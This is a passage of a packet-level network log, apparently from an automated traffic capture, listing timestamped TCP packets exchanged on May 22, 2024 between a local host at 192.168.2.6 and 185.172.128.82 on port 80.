May 22, 2024 20:06:30.799438953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799463987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.799485922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.799515009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799568892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799582958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.799619913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.799643993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799695015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800255060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800302029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800323963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800359964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800384998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800438881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800452948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800492048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800513029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800566912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800585032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800612926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800637007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800689936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.800704002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.800744057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801209927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801265001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801279068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801311016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801338911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801395893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801495075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801542044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801563025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801597118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801624060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801676035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.801690102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.801728964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802200079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.802254915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.802268982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802301884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802330017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.802375078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.802397013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802428961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802458048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.802508116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.802995920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803042889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803062916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803092957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803122044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803174973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803189039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803230047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803250074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803297997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803316116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803360939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803381920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803416014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.803946972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.803993940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804014921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804054022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804076910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804126024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804141998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804194927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804208994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804245949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804269075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804313898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804335117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804377079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804797888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804847002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804869890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804893970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.804922104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804968119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.804997921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.805023909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.805052042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.805095911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.805121899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.805150032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.852425098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.852581024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878082037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878189087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878207922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878263950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878289938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878309965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878366947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878417015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878433943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878508091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878602982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878649950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878674984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878700018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.878729105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.878781080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879046917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879093885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879116058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879149914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879173994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879229069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879242897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879283905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879306078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879359007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879373074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879412889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879434109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879489899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879848957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879904032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.879918098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879957914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.879981041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880027056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880048037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880086899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880109072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880156040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880173922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880228043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880532980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880588055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880799055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880853891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880867958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880902052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.880928993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880975008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.880995989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.881031990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.881057024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.881100893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.881123066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.881161928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.881185055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.881237030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882103920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882168055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882232904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882281065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882302999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882338047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882364035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882417917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882431030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882469893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882509947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882565975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882580042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882616997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882642031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882709026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882844925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882891893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.882911921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882941961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.882970095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883023024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883037090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883086920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883101940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883136988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883162975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883219004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883759022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883805990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883831024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883857965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883884907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883929968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.883951902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.883987904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884011984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884057045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884078026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884114981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884140015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884193897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884773970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884820938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884845018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884869099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884897947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884943008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.884963036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.884991884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885020971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885073900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885087967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885128021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885144949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885193110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885207891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885262966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885713100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885760069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885782003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885816097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885843039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885896921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.885910988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885951042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.885972023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886020899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886037111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886089087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886440039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886502981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886522055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886576891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886590958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886629105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886652946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886706114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886722088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886758089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886784077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886837006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886851072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886889935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.886913061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.886964083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887321949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887377024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887391090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887428045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887451887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887505054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887518883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887559891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887582064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887619972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887645006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887697935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887731075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887748957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.887784958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.887836933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888214111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888262033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888276100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888293028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888308048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888328075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888341904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888356924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888370991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888391018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888397932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888422966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.888430119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.888458967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889048100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889062881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889085054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889096975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889111996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889128923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889138937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889156103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889164925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889183998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889194012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889210939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889219999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889240026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889277935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.889935017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889950991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889976025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.889986992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890005112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890019894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890032053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890052080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890065908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890079021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890099049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890137911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890790939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890810966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890831947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890841961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890858889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890876055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890882969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890901089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890917063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890928030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890938044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890954971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.890973091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.890995026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969014883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969110012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969141960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969173908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969204903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969259024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969273090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969305038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969346046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969400883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969428062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969482899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969496965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969538927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969562054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969615936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969630957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969672918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.969810009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.969983101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970016956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970072985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970093012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970134020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970154047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970202923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970218897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970263958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970284939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970326900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970346928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970401049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970413923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970448017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.970808983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.970880032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971064091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971111059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971131086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971162081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971190929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971235991 CEST	80	49708	185.172.128.82	192.168.2.6
